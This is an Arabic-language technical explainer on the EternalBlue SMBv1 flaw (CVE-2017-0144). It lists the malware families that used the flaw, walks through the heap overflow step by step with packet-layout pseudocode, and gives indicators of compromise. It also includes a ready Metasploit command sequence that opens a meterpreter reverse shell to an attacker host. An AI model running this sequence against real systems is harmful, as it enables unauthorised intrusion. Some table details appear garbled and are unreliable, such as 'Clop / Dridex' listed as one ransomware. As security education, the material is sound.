
CVE-2017-0144

"استغلال واحد. عشرات العائلات الضارة. مليارات في الأضرار."
CVE-2017-0144 هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في تطبيق خادم SMBv1 في Microsoft Windows. الاستغلال المعروف باسم EternalBlue استغل هذه الثغرة واستُخدم في هجمات عالية التأثير (أبرزها WannaCry).
| # | البرنامج الخبيث | النوع | أول ظهور | الجهة الفاعلة | الضرر | ملاحظات |
|---|---|---|---|---|---|---|
| 1 | WannaCry | برمجية فدية | 12 مايو 2017 | مجموعة Lazarus (كوريا الشمالية) | 4-8 مليارات دولار | مفتاح القتل: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com |
| 2 | NotPetya | ماسح (تظاهر بأنه فدية) | 27 يونيو 2017 | Sandworm (روسيا) | 10 مليارات دولار+ | استخدم Mimikatz + EternalBlue + PSEXEC |
| 3 | Bad Rabbit | برمجية فدية | 24 أكتوبر 2017 | Indrik Spider | إقليمي | هجوم تحميل مزيف لتحديث Flash |
| 4 | Uiwix | برمجية فدية | مايو 2017 | غير معروف | منخفض | لا مفتاح قتل، أكثر خفاءً من WannaCry |
| 5 | EternalRocks | دودة | مايو 2017 | غير معروف | متوسط | 7 أدوات NSA (بما في ذلك DoublePulsar) |
| 6 | Adylkuzz | عامل تعدين عملات رقمية | مايو 2017 | غير معروف | عالي (صامت) | قام بتعدين Monero قبل WannaCry |
| 7 | Retefe | حصان طروادة مصرفي | 2017–2018 | غير معروف | بنوك أوروبية | استخدم EternalBlue للحركة الجانبية |
| 8 | TrickBot | برمجيات معيارية خبيثة | 2017–2021 | Wizard Spider | عالمي | أسقط Ryuk عبر EternalBlue |
| 9 | Emotet | محمل | 2017–2021 | TA542 | عالمي | استخدم كمدخل لـ Cobalt Strike |
| 10 | Clop / Dridex | برمجية فدية | 2019–2025 | TA505 | الرعاية الصحية، الحكومة | لا يزال نشطًا في 2025 |
| الأداة | الإصدار | الميزات |
|---|---|---|
| EternalBlue (الأصلي) | أبريل 2017 (Shadow Brokers) | RCE عبر SMBv1 |
| DoublePulsar | أبريل 2017 | زرع باب خلفي (ring0) |
| EternalRomance | أبريل 2017 | متغير SMBv3 |
| EternalChampion | أبريل 2017 | مسار SMB بديل |
| وحدة Metasploit | مايو 2017 | exploit/windows/smb/ms17_010_eternalblue |
| FuzzBunch | أبريل 2017 | إطار استغلال NSA |
| Impacket + PSEXEC | 2017–2025 | استغلال SMB بلغة Python |
"حزمة واحدة مشوهة. وصول كامل للنظام SYSTEM. لا تسجيل دخول. لا نقرة."
[المهاجم]
│
├──▶ يرسل طلب **Trans2** من SMBv1 مصمم خصيصًا
│ → يسبب **تجاوز سعة الكومة** في `srv!SrvOS2FeaListSizeToNt`
│
├──▶ يكتب فوق مؤشرات الدوال → **كود شيل في النواة**
│
└──▶ ينفذ باب خلفي **DoublePulsar** → **حمولة في Ring-0**
(مثل `mssecsvc.exe` من WannaCry)
| المتطلب | التفاصيل |
|---|---|
| الهدف | Windows مع تمكين SMBv1 (افتراضي قبل Win10) |
| المنفذ المفتوح | 445/TCP (أو 139/TCP عبر NetBIOS) |
| بدون مصادقة | غير مصادق — لا حاجة لاسم مستخدم/كلمة مرور |
| الهيكل | x86 أو x64 (كلاهما مدعوم) |
| حالة التصحيح | غير مصحح (قبل MS17-010) |
SMB_COM_NEGOTIATE → يرسل العميل قائمة اللهجات
يستجيب الخادم: SMBv1 مدعوم → تابع
السبب؟ يؤكد أن SMBv1 نشط.
\\TARGET\IPC$ → مشاركة مجهولة لأنابيب SMB
الغرض: إنشاء جلسة لإرسال طلبات المعاملات.
SESSION_SETUPFEALIST {
SizeOfListInBytes = 0xFFFF (أو قيمة كبيرة)
...
}
تشغيل الخطأ:
SrvOS2FeaListSizeToNt()تثق بهذا الحجم دون التحقق من الحدود.
FEA {
AttributeNameLength = 0x00
AttributeName = "A" * 0x1000 → تجاوز السعة للمخزن المؤقت
}
رش الكومة: يخصص كتلًا كبيرة للتحكم في تخطيط الذاكرة.
srv!SrvOS2FeaListSizeToNt(
PFEALIST FeaList, // يتحكم فيه المهاجم
PULONG pNtFeaListSize // مؤشر الإخراج
)
{
// لا يوجد تحقق من FeaList->SizeOfListInBytes
memcpy(dest, src, FeaList->SizeOfListInBytes); // BOOM
}
Free)KeUserModeCallback)mssecsvc.exe)
0x00120034)Ping: 0x0002C001Exec: 0x0002C002 + الحمولةمثال WannaCry:
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → تشفير الملفات
رأس SMB
└── الأمر: 0x32 (TRANSACTION2)
└── الإعداد: 0x000E (SESSION_SETUP)
└── المعامل: TotalDataCount = 0x1000
└── البيانات:
[FEALIST]
SizeOfListInBytes = 0x1100
[FEA #1] NameLen=0, Name="A"*0x1000
[FEA #2] ...
[GROOM x100] → رش الكومة
[OVERFLOW] → الكتابة فوق التجمع
[SHELLCODE] → x64 ring0
| الأداة | اللغة | الوحدة |
|---|---|---|
| Metasploit | Ruby | exploit/windows/smb/ms17_010_eternalblue |
| Impacket | Python | smbclient.py, psexec.py |
| FuzzBunch | Python (NSA) | EternalBlue-2.2.0 |
| C2 مخصص | C/C++ | WannaCry, NotPetya |
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
| الأثر | الموقع | القيمة |
|---|---|---|
| DoublePulsar | ذاكرة النواة | مفتاح XOR 0x00120034 |
| كود الشيل | تجمع srvnet.sys | نمط 0xCC 0x90 0x48 |
| DLL المحقون | C:\Windows\mssecsvc.exe | SHA256: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa |